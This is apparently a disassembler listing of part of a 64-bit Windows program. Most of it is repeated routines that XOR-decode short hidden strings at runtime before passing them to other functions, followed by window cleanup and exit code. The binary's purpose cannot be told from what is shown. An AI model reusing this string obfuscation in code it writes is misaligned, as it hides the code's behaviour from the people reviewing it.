shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
jmp 0x140060903
mov r9, rbx
nop word [rax + rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1400608d0
xor r8d, r8d
lea rcx, [rbp + 0xbd0]
mov edx, 0xff
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0x50]
mov rcx, r15
call fcn.140023b50
movss xmm2, dword [0x1401ca654]
lea rcx, [rbp + 0x58]
movaps xmm1, xmm14
call fcn.140001570
movss xmm2, dword [0x1401ca658]
lea rcx, [rbp + 0x60]
movaps xmm1, xmm14
call fcn.140001570
movss xmm2, dword [0x1401ca664]
lea rcx, [rbp + 0xc0]
movaps xmm1, xmm14
call fcn.140001570
cmp dword [0x14029c8fc], 0x60
jl 0x140058565
cmp byte [0x14029c60a], sil
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], sil
je 0x140060e20
lea rdx, [rbp + 0xbe0]
call fcn.1400622b0
mov rbx, rax
cmp byte [rax + 0xf], sil
je 0x140060bb3
mov r8d, esi
cmp r13d, 2
jl 0x140060b7d
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbx + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 0xc]
xorps xmm1, xmm0
movd dword [rbx + 0xc], xmm1
jmp 0x140060bb3
mov r9, rbx
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140060b80
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xbf0]
mov r8d, 0xff
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0x58]
mov rcx, r15
call fcn.140023b50
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.1400622c0
mov rbx, rax
cmp byte [rax + 0x12], sil
je 0x140060e14
mov r8d, esi
cmp r13d, 2
jl 0x140060dd3
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbx + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 0xc]
xorps xmm1, xmm0
movd dword [rbx + 0xc], xmm1
mov r9d, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140060de0
lea rcx, [rbp + 0xc00]
jmp 0x14006129b
lea rdx, [rbp + 0xc10]
call fcn.1400622f0
mov rbx, rax
cmp byte [rax + 0xf], sil
je 0x140061033
mov r8d, esi
cmp r13d, 2
jl 0x140060ff6
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbx + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 0xc]
xorps xmm1, xmm0
movd dword [rbx + 0xc], xmm1
jmp 0x140061033
mov r9, rbx
nop dword [rax]
mov eax, 0x24924925
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140061000
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0xc30]
mov edx, 0xff
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0x58]
mov rcx, r15
call fcn.140023b50
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.1400622c0
mov rbx, rax
cmp byte [rax + 0x12], sil
je 0x140061294
mov r8d, esi
cmp r13d, 2
jl 0x140061253
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbx + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 0xc]
xorps xmm1, xmm0
movd dword [rbx + 0xc], xmm1
mov r9d, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140061260
lea rcx, [rbp + 0xc50]
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
mov r8d, 0xff
xor edx, edx
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0x60]
mov rcx, r15
call fcn.140023b50
cmp dword [0x14029c8fc], 0x60
jl 0x140058565
lea rdx, [rsp + 0x78]
mov byte [rsp + 0x60], sil
lea rcx, [rsp + 0x60]
call fcn.140062300
mov rbx, rax
cmp byte [rax + 0x16], sil
je 0x140061574
mov r8d, esi
cmp r13d, 2
jl 0x14006152e
movd eax, xmm6
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm11
movd dword [rbx + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbx + 8], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmmword [0x1401ca7f0]
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
mov r8d, reloc.WS2_32.dll_sendto
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [rbx + 0xc], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 0x10]
xorps xmm1, xmm0
movd dword [rbx + 0x10], xmm1
mov r9d, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140061540
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xc70]
mov r8d, 0xff
call fcn.1400015b0
mov rcx, rax
call fcn.140030360
mov r9, rbx
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rbp + 0xc0]
mov rcx, r15
call fcn.140023b50
jmp 0x140058565
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14003a4b0
call fcn.14003a7f0
xor ecx, ecx
call fcn.140006030
call fcn.140062770
mov rcx, qword [0x14029c640]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x760]
call fcn.140062330
cmp dword [rbp + 0x128], 0
jne 0x140061701
cmp dword [rbp + 0xe0], 0
jne 0x140061701
cmp dword [rbp + 0xd0], 0
jne 0x140061701
cmp dword [rbp + 0x178], 0
jne 0x140061701
cmp dword [rbp + 0x168], 0
jne 0x140061701
cmp dword [rbp + 0x158], 0
jne 0x140061701
cmp dword [rbp + 0x148], 0
jne 0x140061701
cmp dword [rbp + 0x138], 0
jne 0x140061701
cmp dword [rbp + 0x118], 0
jne 0x140061701
cmp dword [rbp + 0x108], 0
jne 0x140061701
cmp dword [rbp + 0xf8], 0
jne 0x140061701
cmp dword [rbp + 0x188], 0
jne 0x140061701
movaps xmm7, xmmword [rsp + 0xf00]
xor eax, eax
movaps xmm11, xmmword [rsp + 0xec0]
movaps xmm10, xmmword [rsp + 0xed0]
movaps xmm14, xmmword [rsp + 0xe90]
movaps xmm15, xmmword [rsp + 0xe80]
movaps xmm6, xmmword [rsp + 0xf10]
lea r11, [rsp + 0xf20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.140063960
int3